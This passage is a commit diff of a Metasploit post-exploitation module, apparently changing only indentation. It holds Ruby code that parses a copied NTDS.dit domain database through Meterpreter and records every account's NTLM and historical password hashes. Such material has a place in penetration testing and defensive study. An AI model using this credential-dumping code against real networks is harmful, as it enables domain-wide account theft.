@@ -44,27 +44,27 @@ def run
44
44
print_status repair_ntds ( ntds_file )
45
45
realm = sysinfo [ "Domain" ]
46
46
begin
47
- ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
48
- rescue Rex ::Post ::Meterpreter ::RequestError => e
49
- print_bad ( "Failed to properly parse database: #{ e } " )
50
- if e . to_s . include? "1004"
51
- print_bad ( "Error 1004 is likely a jet database error because the ntds database is not in the regular format" )
52
- end
53
- end
54
- unless ntds_parser . nil?
55
- print_status "Started up NTDS channel. Preparing to stream results..."
56
- ntds_parser . each_account do |ad_account |
57
- print_good ad_account . to_s
58
- report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
59
- ad_account . nt_history . each_with_index do |nt_hash , index |
60
- hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
61
- hash_string << ":#{ nt_hash } "
62
- report_hash ( hash_string . downcase , ad_account . name , realm )
47
+ ntds_parser = Metasploit ::Framework ::NTDS ::Parser . new ( client , ntds_file )
48
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
49
+ print_bad ( "Failed to properly parse database: #{ e } " )
50
+ if e . to_s . include? "1004"
51
+ print_bad ( "Error 1004 is likely a jet database error because the ntds database is not in the regular format" )
52
+ end
53
+ end
54
+ unless ntds_parser . nil?
55
+ print_status "Started up NTDS channel. Preparing to stream results..."
56
+ ntds_parser . each_account do |ad_account |
57
+ print_good ad_account . to_s
58
+ report_hash ( ad_account . ntlm_hash . downcase , ad_account . name , realm )
59
+ ad_account . nt_history . each_with_index do |nt_hash , index |
60
+ hash_string = ad_account . lm_history [ index ] || Metasploit ::Credential ::NTLMHash ::BLANK_LM_HASH
61
+ hash_string << ":#{ nt_hash } "
62
+ report_hash ( hash_string . downcase , ad_account . name , realm )
63
63
end
64
64
end
65
65
end
66
66
if datastore [ 'cleanup' ]
67
- print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
67
+ print_status "Deleting backup of NTDS.dit at #{ ntds_file } "
68
68
rm_f ( ntds_file )
69
69
else
70
70
print_bad "#{ ntds_file } requires manual cleanup"
0 commit comments